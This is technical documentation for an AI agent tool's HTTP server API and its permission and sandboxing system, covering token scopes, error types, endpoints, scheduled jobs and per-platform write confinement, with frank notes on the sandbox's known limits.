Deliveries are notifications, not a durable queue. They are not persisted, not retried across a restart, and outstanding attempts are abandoned when the process exits: a delivery in flight during a SIGTERM is lost. That is the trade for never blocking the work that triggered it. Anything you cannot afford to miss should be reconciled by polling (GET /v1/schedule, GET /v1/sessions/{id}/tasks), with the webhook as the fast path rather than the only one.

Delivery is fire-and-forget on a detached task, so a slow or dead receiver never wedges the scheduler behind it. A 5xx or a transport error is retried with exponential backoff (1s, 2s, 4s, capped at 30s) up to max_retries. A 4xx is not, since retrying cannot fix a request the receiver considers malformed, with two exceptions: 429 Too Many Requests and 408 Request Timeout say “not now” rather than “not ever” and are retried like a 5xx. That matters because several jobs sharing a cron minute deliver as a burst, which is exactly when a receiver rate-limits. Retry-After is not honoured; the backoff above is used regardless. After the last attempt meka logs one warn and gives up. Turn cancellations are not delivered: the client that cancelled already knows.

Permission modes over HTTP

The same five permission levels apply: none, read, workspace, ask, unrestricted. Set the level at session creation or update it via PATCH /v1/sessions/{id}.

Ask mode

In ask mode with stream: true, the agent emits a permission_required SSE event when it needs to run a gated tool. The stream stays open while waiting. Your client resolves it by POSTing to the responses endpoint:

POST /v1/sessions/{id}/responses/{request_id}
Content-Type: application/json

{"outcome": "allow"}

Possible outcomes:

OutcomeEffect
allowRun this tool call
denyRefuse this tool call
allow_alwaysAllow this and all future calls to this tool (session-scoped)
deny_alwaysDeny this and all future calls to this tool (session-scoped)

If no response arrives within 60 seconds, the permission defaults to deny.

Ask mode with blocking turns

When stream: false and the session is in ask mode, there is no SSE channel for permission prompts. The agent runs the turn with tool permissions auto-denied; each denied tool appends a notice to the response explaining what happened and suggesting permission: "workspace" or stream: true.

MCP elicitations (interactive form prompts from MCP servers) are always auto-declined over HTTP; there is no channel for interactive input. A notice event is emitted when this happens.

Recommendation: non-interactive callers (bots, bridges, scripts) should create sessions with permission: "read" or permission: "workspace" so auto-deny never triggers. Use stream: true if you need approval flow.

Authentication

Every request requires Authorization: Bearer <token>, except the two health probes and, when [serve].docs is enabled, /v1/openapi.json and /v1/docs. Both of those are off by default, so on a default deployment they answer 404 rather than serving anything unauthenticated.

Scopes

Each token carries a set of scopes that control what it can access:

ScopePermits
sessions:rList sessions, get details, read messages, context occupancy, export, tools, background tasks, re-attach a stream
sessions:wCreate, modify, delete sessions; submit and cancel turns; compact, rewind, import; respond to permission prompts; cancel background tasks
skills:rRead installed skills, including bodies
skills:wCreate, update, delete skills
memory:rRead the memory store
memory:wCreate, update, delete memories
schedule:rList scheduled jobs. GET /v1/schedule is server-wide and returns each job’s full prompt, so this reads instruction text and not just schedules. A gate’s check is withheld unless the token also holds sessions:r
schedule:wCreate and cancel scheduled jobs. A job’s prompt runs a full turn with tools, so this is deferred turn execution, not just bookkeeping. A job’s optional gate runs a shell command or a read-only tool call and additionally requires sessions:w (see below)
mcp:rRead MCP server status and advertised tools
mcp:wReconnect an MCP server

Discovery endpoints (/v1/info, /v1/skills, /v1/mcp, /v1/providers) accept any token with at least one read scope. Two deliberately do not: GET /v1/skills/{name} needs skills:r and GET /v1/instructions needs sessions:r, because both return instruction text rather than a listing.

Scopes are flat: memory:r does not imply memory:w, and neither implies the other. Operations on a conversation stay under sessions:*, because the thing being read or changed is one session. The process-wide stores carry their own scopes so a bridge token that runs turns cannot also empty the memory store or plant an unattended scheduled job.

An unrecognised scope logs a warning at startup and grants nothing, so a typo like sessions:write is visible rather than silently inert.

Note: [skills] agent_managed and [memory] enabled govern what the model may do on its own initiative. They do not gate these endpoints. A token is the operator acting remotely, equivalent to running meka skill add in a shell, so a skills:w token writes skills even when agent_managed = false.

Token configuration

Tokens are configured under [[serve.tokens]] in your config. Three forms are supported:

# Inline plaintext, development only (a startup warning is logged)
[[serve.tokens]]
token = "sk_dev_test123"
scopes = ["sessions:r", "sessions:w"]

# Environment variable substitution, recommended for CI/containers
[[serve.tokens]]
token = "${MEKA_BRIDGE_TOKEN}"
description = "telegram bridge"
scopes = ["sessions:r", "sessions:w"]

# File-based, recommended for production (chmod 0600)
[[serve.tokens]]
token_file = "/etc/meka/bridge.token"
description = "telegram bridge"
scopes = ["sessions:r", "sessions:w"]

Token comparison uses constant-time equality to prevent timing side-channel attacks. Tokens never appear in logs; only a truncated SHA-256 fingerprint is used for diagnostics.

Idempotency

Blocking turn submissions (stream: false) support Stripe-style idempotency via the Idempotency-Key header:

curl -X POST http://localhost:8080/v1/sessions/$ID/turn \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -H "Idempotency-Key: 7f8a9b0c-1234-5678-abcd-ef0123456789" \
  -d '{"message": "deploy to staging"}'

If the same key is replayed, the server returns the cached response. If the same key is sent with a different body, it returns 409 Conflict.

Keys are scoped per-token and per-session, and expire after 24 hours. The session is part of the scope because an Idempotency-Key names your unit of work: sending the same key to two sessions is a reasonable thing to do, and it now runs both turns instead of answering the second with the first’s transcript.

A turn that was cancelled is not cached, so the retry the cancellation invites can actually run. Neither is a 5xx, for the same reason.

The cache is bounded per token by both entry count and total bytes; a response too large to keep is not cached, and its retry re-executes.

Idempotency keys are ignored for streaming responses; streaming clients should reconnect by submitting a new turn.

Which endpoints are safe to retry

Idempotency-Key covers blocking turns only. For everything else, know what a blind retry does before you configure one:

EndpointRetry-safeOn a duplicate
POST /turn (blocking, with a key)yescached response returned
POST /cancel, DELETE /v1/sessions/{id}, DELETE /v1/sessions/{id}/tasks/{task_id}yesalready-done is the same state
DELETE /v1/skills/{name}, /v1/memory/{name}, /v1/schedule/{job_id}yes, butthe resource is gone, so the retry answers 404. Expected, not a failure – treat it as success if you are retrying blind
PUT /v1/skills/{name}, PUT /v1/memory/{name}yessame body writes the same skill file or memory row
POST /compactmostlya second compaction summarises the summary; fidelity drops, nothing is lost
POST /rewindnodrops another turn. A client that retries on a connection error loses conversation
POST /sessions/importnocreates a second copy of the tree under new ids
POST /sessions/{id}/schedulenocreates a second job

The three marked no are administrative operations meant to be driven deliberately. If your HTTP stack retries failed POSTs by default, exclude them, or check the outcome first: POST /rewind returns messages_before and messages_after, and GET /messages returns a revision that increments on every rewrite.

Error handling

All HTTP error responses use RFC 9457 Problem Details with Content-Type: application/problem+json:

{
  "type": "https://meka.so/errors/session-not-found",
  "title": "Session not found",
  "status": 404,
  "detail": "Session 's_xyz' does not exist.",
  "instance": "/v1/sessions/s_xyz/turn"
}

The type URI is the stable, machine-readable error code. Route error handling on type, not on status or detail.

Error detail redaction: Validation errors (422) return a generic detail message (e.g. "invalid session creation request body") rather than echoing internal field names or parser diagnostics. Consult the OpenAPI spec for the expected request schema.

A 502 on a turn carries the provider’s own response text in a provider_response member when [serve] relay_provider_errors is on, which is the default; a deployment that has turned it off omits the member entirely. It exists because the upstream’s error type is the actionable part and a client that cannot see it is left guessing. detail stays meka’s own sentence either way, so nothing is traded for it, and the relayed text is capped at 4 KiB with the cut marked. The full text goes to the server log regardless.

provider_response is readable at sessions:r. Submitting a turn takes sessions:w, but the failure also rides the terminal turn.failed event, which GET /v1/sessions/{id}/stream replays to any reader. Since an upstream refusal can name the operator’s provider account and its rate-limit posture, set [serve] relay_provider_errors = false where read-only tokens go to people who may watch a session but are not entitled to the account behind it.

The 503 a turn gets when a required MCP server is down is not covered by that key and never relays: the server names travel, the connector’s reason does not, since it is meka’s own subprocess text and has carried a command line and its path. The endpoints under /v1/mcp do relay their reason, since a caller naming one server and asking why it will not connect is asking for it.

Error types

TypeStatusMeaning
/errors/auth401Missing or invalid bearer token
/errors/auth-scope403Token lacks the required scope
/errors/session-permission403The token is fine; the session sits too low. Raise it with PATCH /v1/sessions/{id} – a better token will not help
/errors/session-not-found404Unknown session ID
/errors/not-found404Unknown skill, memory, MCP server, background task, or turn stream
/errors/session-not-loaded409The session exists but is not in memory; submit a turn to load it. Do not retry POST /cancel – there is no turn to cancel
/errors/session-locked409Another meka process holds the session’s DB lock (e.g. two meka serve instances sharing one DB); wait or restart the other process
/errors/turn-in-flight409A turn is already running on this session within this process; cancel it via POST /cancel first
/errors/turn-cancelled409Turn was cancelled
/errors/store-read-only409The skill lives under a [skills] extra_paths root; meka reads those but never writes to them, so writing here would shadow the file rather than change it
/errors/session-not-drivable422The id names a sub-agent’s conversation. Reading it is unaffected; continuing it means agent_followup from the parent, whose id the message names. Do not retry with a corrected payload: no body addressed at this id is accepted
/errors/request-not-found404Unknown or expired request_id
/errors/idempotency409/429Key conflict (body mismatch: 409; cache cap: 429)
/errors/invalid-body400/422Request body validation failed (422), or a path/query parameter the router rejected (400)
/errors/payload-too-large413Body exceeds max_body_bytes
/errors/concurrency-limit429Process-wide turn limit reached (Retry-After header included)
/errors/sse-lag500SSE consumer fell behind; stream terminated (see SSE lag)
/errors/stream-detached500SSE-only. A re-attached stream ended with no recorded outcome because the turn’s task died; read GET /messages for what completed
/errors/provider502An upstream call failed for a reason meka could not classify as transient. Usually permanent (a revoked credential, a base_url that is not the API), but it is a catch-all, so treat it as “no reason to expect a retry to help” rather than “a retry cannot help”
/errors/provider-unavailable502The upstream failed in a way meka’s classifier had already labelled transient. Worth one backed-off resend. Carries a Retry-After when the upstream gave one, which most of the time it did not
/errors/context-overflow502The conversation exceeds the model’s context window and could not be compacted further. Do not retry unchanged; shorten it first. Carries provider_response like the two above, since the upstream is what refused it
/errors/mcp-unavailable503An MCP server marked required was not connected, so the turn was refused before reaching the provider. The servers extension names them; each one’s reason is in the server log
/errors/internal500Unhandled server error

Streaming turns that fail mid-stream emit a turn.failed SSE event with the same error shape, then close the connection.

The three 502s are the ones worth branching on. /errors/provider-unavailable is the positive signal: meka’s classifier recognised the failure as transient, which covers an overload, a 5xx, a dropped connection and a stalled stream. Resend it after a pause. /errors/context-overflow is the flat refusal: the request no longer fits and will not fit next time either, so retrying it unchanged loops until your client gives up; shorten the conversation with POST /v1/sessions/{id}/compact or send less.

/errors/provider is the absence of the first signal, not the opposite of it. It is a catch-all covering everything meka could not place, so a revoked credential lands there and so does a 408, a truncated response body, and any mid-stream error type meka does not yet recognise. Most of the time it is permanent and worth surfacing to a human rather than retrying, but do not build a client that will never retry it: one unhurried resend is reasonable, an unbounded loop is not.

Branch on type, not on Retry-After. A Retry-After is present only when the upstream volunteered one in delta-seconds form, which most transient failures do not: a dropped connection never produced a response to carry a header, a mid-stream overloaded_error has no headers at all, and an upstream answering with an HTTP date sends none meka can read. Treating its absence as “permanent” discards turns a second attempt would have completed, which is the reason these two types exist separately.

Neither provider type says how many attempts meka made first. It declines to retry at all once any output has reached the stream or its retry budget is spent, and a cancelled turn abandons the sequence wherever it stands, so one of these can reach you after three attempts or after none. /errors/provider-unavailable claims a failure class, not that your next attempt will succeed.

A Retry-After on a /errors/provider-unavailable response is the upstream’s own, relayed up to an hour. Honour it in preference to your own backoff. The other two never carry one.

Discovery endpoints

These endpoints help clients inspect the server’s capabilities at runtime.

EndpointAuthDescription
GET /v1/health/liveNoneLiveness probe: 200 if the process is up
GET /v1/health/readyNoneReadiness probe: 200 if the DB is healthy, at least one provider profile is configured, and no required MCP server has failed. A failed optional server doesn’t affect readiness, since it can’t stop a turn either. Returns status, session_db, provider_configured, and mcp_servers_healthy (boolean, no server names). provider_configured means a profile exists in config.toml, not that it has a usable credential: a profile’s credential is checked when a session first needs it, so a server can be ready and still answer 422 to POST /v1/sessions.
GET /v1/providersAny read scopeConfigured provider profiles: name, type, model, and active: true on the one a session gets when it names none. Read-only; profiles come from config.toml
GET /v1/infoAny read scopeServer version and permission surface. vision reports whether the default profile accepts image attachments; a session on another profile follows that one. Carries no provider or model: GET /v1/providers reports both per profile and marks the default with active
GET /v1/skillsAny read scopeInstalled skills
GET /v1/mcpAny read scopeMCP server connection status
GET /v1/openapi.jsonNone, and off unless [serve].docs is setOpenAPI 3 spec
GET /v1/docsNone, and off unless [serve].docs is setSwagger UI

Session lifecycle

Idle timeout and GC

A background garbage collector scans in-memory sessions and evicts those that have been idle longer than idle_timeout:

[serve]
idle_timeout = "24h"
gc_scan_interval = "5m"

Eviction drops the in-memory state (agent runtime, conversation buffer, cancellation tokens) but keeps the SQLite row. A later request with the same session ID transparently re-attaches and continues the conversation.

To also remove the DB row on eviction:

[serve]
delete_on_idle = true

Sessions with an in-flight turn are never evicted.

Graceful shutdown

meka serve handles SIGTERM / SIGINT with a controlled drain:

  1. Stop accepting new connections.
  2. Cancel all in-flight turns (same mechanism as POST /cancel).
  3. Emit turn.cancelled with reason: "server_shutdown" on open SSE streams.
  4. Wait up to shutdown_drain_timeout for every turn to finish unwinding, including scheduled fires, background-outcome deliveries, and turns whose client has already disconnected. Cancelling a turn is not the same as waiting for one: what follows the cancellation is the commit of the partial reply and of whatever the round already produced.
  5. Exit 0. A drain that hits the timeout instead logs a warning, abandons what is still running, and exits 1, so a supervisor can tell the two apart.
[serve]
shutdown_drain_timeout = "30s"

Concurrency

  • Per session: one turn at a time. A second POST /turn returns 409.
  • Across sessions: fully concurrent. Multiple sessions can run turns in parallel.
  • Process-wide cap (optional): set max_concurrent_turns to limit total in-flight turns. Exceeding the cap returns 429 with a Retry-After header.

Configuration

All settings live under [serve] in your config.toml. See the [serve] section of the config file reference for the full field list.

Minimal example:

[serve]
bind = "127.0.0.1:8080"

[[serve.tokens]]
token = "${MEKA_API_TOKEN}"
scopes = ["sessions:r", "sessions:w"]

Full example:

[serve]
bind = "0.0.0.0:8080"
max_body_bytes = 10485760           # 10 MiB (default)
max_concurrent_turns = 20
idle_timeout = "24h"
gc_scan_interval = "5m"
delete_on_idle = false
shutdown_drain_timeout = "30s"

# Bridge token, env var substitution
[[serve.tokens]]
token = "${BRIDGE_TOKEN}"
description = "telegram bridge"
scopes = ["sessions:r", "sessions:w"]

# Admin token, file-based
[[serve.tokens]]
token_file = "/etc/meka/admin.token"
description = "operator debugging"
scopes = ["sessions:r", "sessions:w", "mcp:r", "skills:r"]

Client recipes

Telegram bridge (Python)

import httpx

MEKA_URL = "http://localhost:8080"
MEKA_TOKEN = os.environ["MEKA_TOKEN"]

async def handle_message(chat_id: str, text: str):
    session_id = await get_or_create_session(chat_id)

    resp = await httpx.AsyncClient().post(
        f"{MEKA_URL}/v1/sessions/{session_id}/turn",
        headers={"Authorization": f"Bearer {MEKA_TOKEN}"},
        json={"message": text},
        timeout=httpx.Timeout(600.0, connect=5.0),
    )
    resp.raise_for_status()
    return resp.json()["final_text"]

Web UI (TypeScript, streaming)

const resp = await fetch(`${MEKA_URL}/v1/sessions/${sessionId}/turn`, {
  method: "POST",
  headers: {
    Authorization: `Bearer ${token}`,
    "Content-Type": "application/json",
  },
  body: JSON.stringify({ message: input, stream: true }),
});

const reader = resp.body!.getReader();
const decoder = new TextDecoder();
// ... parse SSE events from the stream

Shell script

#!/usr/bin/env bash
set -euo pipefail

TOKEN="sk_..."
BASE="http://localhost:8080"

# Create a session
SESSION=$(curl -sf -X POST "$BASE/v1/sessions" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d "{\"cwd\": \"$(pwd)\"}" | jq -r .id)

# Run a turn
RESULT=$(curl -sf -X POST "$BASE/v1/sessions/$SESSION/turn" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"message": "summarize this project"}')

echo "$RESULT" | jq .final_text

# Clean up
curl -sf -X DELETE "$BASE/v1/sessions/$SESSION" \
  -H "Authorization: Bearer $TOKEN"

Scheduled jobs

meka serve is the durable host for scheduled wakeups. It fires every job in the database, reviving evicted sessions on demand, so jobs keep running whether or not a client is connected and survive a restart of the server.

An agent-initiated turn has no HTTP request to respond to, so its output is persisted to the session like any other turn. Read it back with GET /v1/sessions/{id}/messages.

Reverse proxy setup

For production deployments behind nginx:

location /v1/ {
    proxy_pass http://127.0.0.1:8080;
    proxy_buffering off;
    proxy_cache off;
    proxy_http_version 1.1;
    proxy_set_header Connection "";
    proxy_read_timeout 600s;
}

Key points:

  • Disable buffering: SSE events must not be buffered.
  • Extend read timeout: turns can take minutes; the default 60s is too short.
  • Do not compress: gzip/brotli on SSE responses swallow events. Exclude the /turn route from compression middleware.

Endpoint reference

MethodPathAuthDescription
GET/v1/health/liveNoneLiveness probe
GET/v1/health/readyNoneReadiness probe
GET/v1/inforeadServer version and permission surface
GET/v1/skillsreadInstalled skills
GET/v1/mcpreadMCP server status
POST/v1/sessionssessions:wCreate session
GET/v1/sessionssessions:rList sessions
GET/v1/sessions/{id}sessions:rGet session
PATCH/v1/sessions/{id}sessions:wUpdate session
DELETE/v1/sessions/{id}sessions:wDelete session
POST/v1/sessions/{id}/forksessions:wFork session
GET/v1/sessions/{id}/messagessessions:rList messages
POST/v1/sessions/{id}/turnsessions:wSubmit turn
POST/v1/sessions/{id}/cancelsessions:wCancel turn
POST/v1/sessions/{id}/responses/{request_id}sessions:wResolve permission prompt
GET/v1/sessions/{id}/streamsessions:rRe-attach to the current turn’s SSE stream
POST/v1/sessions/{id}/compactsessions:wSummarise the conversation now
GET/v1/sessions/{id}/contextsessions:rContext occupancy and cumulative usage
POST/v1/sessions/{id}/rewindsessions:wDrop trailing turns
GET/v1/sessions/{id}/exportsessions:rFull transcript (?format=markdown|json)
POST/v1/sessions/importsessions:wRecreate a session tree from an export
GET/v1/sessions/{id}/toolssessions:rTool catalogue for this session (409 if not loaded)
GET/v1/sessions/{id}/taskssessions:rBackground tasks
DELETE/v1/sessions/{id}/tasks/{task_id}sessions:wCancel a background task
GET/v1/scheduleschedule:rAll scheduled jobs
GET/v1/sessions/{id}/scheduleschedule:rScheduled jobs for one session
POST/v1/sessions/{id}/scheduleschedule:w (+ sessions:w for a gate)Create a scheduled job
DELETE/v1/schedule/{job_id}schedule:wCancel a scheduled job
GET/v1/skills/{name}skills:rOne skill, with its body
PUT/v1/skills/{name}skills:wCreate or update a skill
DELETE/v1/skills/{name}skills:wDelete a skill
GET/v1/memorymemory:rMemory index
GET/v1/memory/{name}memory:rOne memory, with its body
PUT/v1/memory/{name}memory:wCreate or update a memory
DELETE/v1/memory/{name}memory:wDelete a memory
GET/v1/mcp/{name}/toolsmcp:rTools one MCP server advertises
POST/v1/mcp/{name}/reconnectmcp:wReconnect an MCP server
GET/v1/instructionssessions:rResolved system instructions
GET/v1/providersreadConfigured provider profiles
GET/v1/openapi.jsonNone, and off unless [serve].docs is setOpenAPI spec
GET/v1/docsNone, and off unless [serve].docs is setSwagger UI

GET /v1/sessions takes include_children=true to list sub-agent sessions alongside top-level ones, and cwd=<path> to filter by working directory. Every session record carries parent_id, which is what reconnects a spawned worker to the session that dispatched it.

A memory record carries both updated_at (when the row last changed) and recorded_at (when the memory was made, stamped once at creation), plus its tags. The two timestamps are deliberately separate: a description edit moves updated_at without the note saying anything new, and it is recorded_at that the model is shown as an age. PUT /v1/memory/{name} accepts tags with the same omit-to-keep rule as body – omit to leave an existing memory’s labels alone, send [] to clear them.

GET /v1/memory/{name} answers 404 for a name that is not stored, with no 422 case: a memory is a row, so there is no file to be present but unparseable. Reading through this endpoint deliberately does not increment the memory’s read count – an operator is not the agent recalling anything, and the count feeds search ranking.

Descriptions and bodies are returned exactly as stored, not as they are rendered into a model’s context: this endpoint is a backup and inspection door, like meka memory export, and stripping characters out of a note on the way through would make a restore lossy. JSON escaping keeps that safe in transit, but a client that decodes and prints the text to a terminal should neutralise it, as meka does at its own render boundaries.

These four endpoints are not gated by [memory] enabled. That switch decides whether an agent keeps memories; a token is the operator, so it reaches a store that already exists exactly as meka memory list does in a shell.

A scheduled job’s optional gate is the sharpest grant on this API, and how sharp depends on what it checks. It requires sessions:w in addition to schedule:w either way.

A shell gate ("check": {"command": "…"}) runs through sh -c as the user running meka serve, on a timer, before the turn and independently of it, so it needs no working provider and no model to execute. The session must be at unrestricted. This is the one grant workspace does not carry: the command runs outside the turn, so nothing confines it to the workspace roots, and the API’s own 403 says unrestricted.

A tool gate ("check": {"tool": "…", "arguments": {…}}) is not held to that bar. It may only name a tool meka resolves to read, and the session need only be at read. Both facts are re-checked on every fire, so a tool that resolves higher after a config change stops being a gate.

execute_command is one such tool wherever a sandbox backend is usable, so a read session can plant an arbitrary command on a timer through the tool form. That is deliberate and it is not the same grant as the shell form: a gate dispatches at read, the level meka sandboxes, so the command runs read-only-confined rather than as a bare sh -c, and where no sandbox is available the tool resolves above read and the gate is refused instead. The confinement blocks writes, not the network. See Scheduled jobs for the longer version.

No job of any kind can be created on a session at none, gated or not: nothing is dispatchable there, so the turn could neither act on the job nor cancel it, and POST /v1/sessions/{id}/schedule answers 403 session-permission rather than creating a row that can never run. A job whose session drops to none afterwards keeps its row and reports itself: every job view carries a withheld field, present only when something is holding the job back, with the same sentence the agent is given. It is computed per request from the session’s current level, so it tracks a PATCH /v1/sessions/{id} without the job being rewritten.

A schedule:*-only token can still plant ordinary prompt-only jobs; it cannot reach a gate at all. Scope a bridge accordingly, and note that GET /v1/schedule is server-wide, so schedule:r alone lists every session id in the database.

DELETE /v1/schedule/{job_id} and DELETE /v1/sessions/{id}/tasks/{task_id} both accept a unique id prefix as well as the full id, matching meka schedule cancel and the schedule_cancel / task_cancel tools – the 8-character short form those surfaces print is enough. An id matching nothing is a 404 and one matching several is a 422, so a typo is never reported as a cancellation. A job that a scheduler sweep retired between the lookup and the delete is a 404 as well, for the same reason: 204 means this request cancelled the job, not merely that it is gone.

Cancelling a background task records the cancellation and signals the running task, but only meka serve can signal work meka serve started. If the session is open in another process (a meka -r REPL, say), the row is marked cancelled and the command keeps running there until it ends on its own; its result is then discarded, because the row is no longer running.

POST /v1/mcp/{name}/reconnect answers 200 with where the server now stands, which is not the same as “it worked”: read state, not the status code. An attempt that ran and failed is a 200 carrying state: "failed", not a 502. A server the startup sweep is still connecting comes back as state: "pending" with no attempt made, so a dashboard polling GET /v1/mcp during startup does not mistake “still coming up” for “down”. The two non-200s are narrow: 422 when the server is disabled in config, and 502 when an already-connected server’s transport could not be re-established within [mcp] connect_timeout_seconds.

MCP OAuth login and logout are deliberately absent: the flow opens a browser and pastes back a callback, which does not belong on a service-to-service surface. Use meka mcp login on the host. /v1/providers is read-only for the same reason provider selection has no environment tier: an ambient value must never silently rebind which account a named profile bills.

For full request/response schemas, see /v1/openapi.json on a running server, or browse it interactively at /v1/docs (Swagger UI).

Both are off unless you set [serve].docs, and both are unauthenticated when on, so CI pipelines and code generators can fetch the spec without a token. That combination is what makes them opt-in: they take no token and they publish the shape of every endpoint the deployment exposes, which is useful on a workstation and reconnaissance anywhere else.

Exporting the spec

Save a local copy for offline use or code generation:

curl -s http://localhost:8080/v1/openapi.json -o openapi.json

Code generation

Generate a typed client from the exported spec:

# Python (openapi-python-client)
openapi-python-client generate --path openapi.json

# TypeScript (openapi-typescript)
npx openapi-typescript openapi.json -o src/api.d.ts

# Go (oapi-codegen)
oapi-codegen -package api openapi.json > api/api.gen.go

# Rust (progenitor)
cargo progenitor-client openapi.json

Import into tools

  • Postman / Insomnia: Import → URL → http://localhost:8080/v1/openapi.json
  • Bruno: Create collection from OpenAPI → paste the URL or a saved file.
  • Swagger Editor: File → Import URL → http://localhost:8080/v1/openapi.json

Permissions

meka uses a five-level permission system to control what tools the agent can use. This gives you control over the agent’s capabilities and prevents accidental modifications.

Permission Levels

LevelIndicatorWhat it allows
None[n] (green)No tools. The agent can only respond with text.
Read[r] (yellow)Read-only tools: read_file, find_files, search_contents, fetch_url, search_web, execute_command (sandboxed read-only), todo, agent_spawn, scratchpad tools
Workspace[w] (orange)Every tool, no approval prompts, but writes are confined to the workspace roots. Reads stay unrestricted. execute_command runs in a sandbox that permits writes only under those roots
Ask[a] (magenta)Every tool, writes reach anywhere, no confinement at all, but each call requires user approval (Y/n prompt). execute_command runs unsandboxed once approved, with the same reach as an approved write_file
Unrestricted[u] (red)Every tool, no approval, no boundary. execute_command runs with no sandbox at all

The ladder is ordered by reach, not by autonomy. ask sits above workspace because an approved call at ask can write anywhere on the machine, while workspace cannot leave its roots however many times it is invoked. The two are genuinely incomparable in the other direction: workspace is more autonomous (nothing is approved) and ask reaches further.

That holds for the shell as well as the file tools, which it did not before 0.42.0. ask used to run execute_command in the read-only sandbox, so approving foo > bar produced a permission error the user had not asked for while an approved write_file in the same session wrote anywhere. It also stood the ordering on its head, since the shell at ask then reached less far than the shell at workspace. At ask the approval prompt is the whole gate, and it shows you the command before it runs.

The workspace boundary

At workspace, a write may land under:

  • the working directory (which /cd moves),
  • any folder an ACP client supplied as an additional directory,
  • any --writable-root <PATH> you passed, repeatable.

Roots are resolved to their canonical form, so a symlink inside the workspace that points out of it resolves to where it actually lands and is refused. A root that does not exist is dropped rather than trusted; if none resolve, nothing is writable. A --writable-root that does not resolve at startup is reported as a warning, and kept: a build directory that does not exist yet becomes a root the moment it does.

The boundary follows the working directory. It is recomputed on every write rather than fixed when the session starts, so /cd /etc at workspace makes /etc writable from that point on. This is deliberate: the working directory is the workspace, and a boundary that stayed behind after you moved would refuse writes to the place you are plainly now working in. The agent has no tool that moves the working directory, so it cannot relocate its own boundary. You can, with /cd; and under meka serve a client holding sessions:w can, with PATCH /v1/sessions/{id}.

Because the boundary follows the directory, the directory is recorded on the session row and a resume reopens it rather than adopting your shell’s. Resuming a workspace session from $HOME would otherwise make your whole home directory writable without you asking.

One consequence worth knowing: a relative --writable-root resolves against your shell, not against the session. meka -c --writable-root build run from ~ grants ~/build, while the session itself may reopen in ~/project. That follows from the flag belonging to the process rather than to the session; pass an absolute path when you mean a directory inside the session’s.

--writable-root belongs to the process and reaches the REPL, a one-shot run, and an ACP session. It does not reach a session created through POST /v1/sessions: the HTTP API is single-root, so a session there is confined to its own cwd and nothing else. Extra roots supplied by an ACP client apply to that client’s session only, and meka does not report your --writable-root back to the client as though the client had asked for it.

Because it belongs to the process, it is not recorded on the session either, and resuming a session does not bring it back: pass it again. This is the difference between it and the provider profile and permission level, which are recorded and do come back. Writing it to the row would mean a meka serve sharing the data directory could later grant those roots to a job it fires, on the authority of a flag that process was never given.

The same set governs both halves, derived once so they cannot disagree: the file tools check it before writing, and the shell sandbox is built from it. A refusal from write_file names the roots so the agent can retry somewhere valid.

If [shell].sandbox = false, execute_command is refused at workspace rather than run unconfined. Nothing else would be holding the boundary, and half a boundary reported as a whole one is worse than an error that says so. Use unrestricted for those turns.

What it does not cover

Four limits, stated plainly because none of them is visible from the inside:

  • MCP servers are not sandboxed. They run in their own process, which meka does not confine, so a tool from an MCP server can write anywhere the server can, and no boundary meka can express reaches it. A tool with no permission annotation falls back to unrestricted, and meka refuses it at workspace rather than dispatching it, because Permission::allows treats workspace, ask and unrestricted as equal and would otherwise let it straight through. To use one from workspace, name it in [mcp.servers.*].tool_permissions at a level you are willing to grant, or switch to unrestricted.
  • meka’s own stores are outside the boundary and always writable: memories and the session database under MEKA_DATA_DIR, skills under MEKA_CONFIG_DIR. They are governed by their own config keys, not by this one.
  • Reads are never confined, at any level. The boundary is “this cannot change things outside the workspace”, not “this cannot see them”.
  • The in-process fence resolves paths, it does not pin them. write_file and edit_file resolve every existing component of a target before judging it, so a symlink already planted on the path is caught. What is left open is the race: a directory checked and then swapped for a symlink before the write lands. Closing it means holding a directory descriptor through the write on every platform, which is a larger mechanism than this one. It needs a concurrent writer planting the link mid-call to matter, which is consistent with the sandbox being defence against an agent damaging your data by accident rather than an adversarial containment boundary.

Per-platform enforcement

PlatformBackendConfines the shell
LinuxBubblewrap (preferred)Yes: read-only root bind, plus a writable bind per root
LinuxLandlock (fallback)Yes: one path-beneath rule per root
macOSsandbox-execYes: writable subpath per root
WindowsWRITE_RESTRICTED token + per-root ACEYes: writes are permitted only where a workspace capability has an ACE

Under Bubblewrap, /tmp, /run and /var/tmp are masked with a tmpfs, so paths there are not merely unwritable but invisible. A workspace root under /tmp is bound after the mask and stays reachable.

Windows works differently enough to be worth stating. meka mints a deterministic capability SID per workspace root, adds an inheritable write ACE for it on that root, and runs the shell under a WRITE_RESTRICTED token carrying that capability. Three consequences:

  • It writes to your directory’s ACL. The grant is real, standing state, visible in icacls as an S-1-4-… entry. meka takes it back when the process exits, including on Ctrl+C, and logs how to remove it by hand if revocation fails. The next run re-adds it, which costs one pass over the tree.

    A crash or a kill still strands it. Nothing runs on those paths, so the ACE outlives them. It grants nothing to anyone but a meka run in that same directory, and is reused rather than duplicated next time, but if you want it gone: icacls "<root>" /remove:g *<the S-1-4-… from icacls>.

    The grant is tracked per process, not per session, so several sessions confining the same root share one ACE, and it is released when the process exits rather than when any one of them ends. Under meka serve that means the ACE stands for the lifetime of the server.

  • It needs you to own the root. Ownership supplies WRITE_DAC implicitly, which is what lets meka grant without elevation. A network share or another user’s folder cannot be a workspace root.

  • Writes are restricted; nothing else is. A WRITE_RESTRICTED token intersects write accesses only. Anything carrying an explicit Everyone: Write ACE stays writable even outside the workspace, which has no Unix analogue.

    This one is a deliberate trade, not an oversight. The restricting list has to include Everyone or PowerShell cannot start: the .NET runtime fails to initialise with E_ACCESSDENIED before it evaluates anything, so every shell command dies. Measured both ways on Windows 11: dropping Everyone closes the hole and takes the entire shell with it. Writes inside the workspace, to files new and pre-existing, and to meka’s own output pipe all behave the same either way, so a filesystem-only test makes the change look free. Files carrying an explicit Everyone: Write ACE are rare and usually a misconfiguration in their own right; a workspace mode that cannot run a command is not a usable mode.

  • The confined child shares meka’s console and integrity level. read mode gets a private console and a Low-integrity token, so Windows’ UI privilege isolation stands between it and meka. A workspace child gets neither: a restricted token cannot create a console, only inherit one, and the integrity label is deliberately left alone so ordinary tooling keeps working. The child can therefore write to the terminal outside meka’s own rendering, and window messages between the two are not blocked. It is confined on the filesystem, which is what the mode promises, and it is not isolated from the meka process itself.

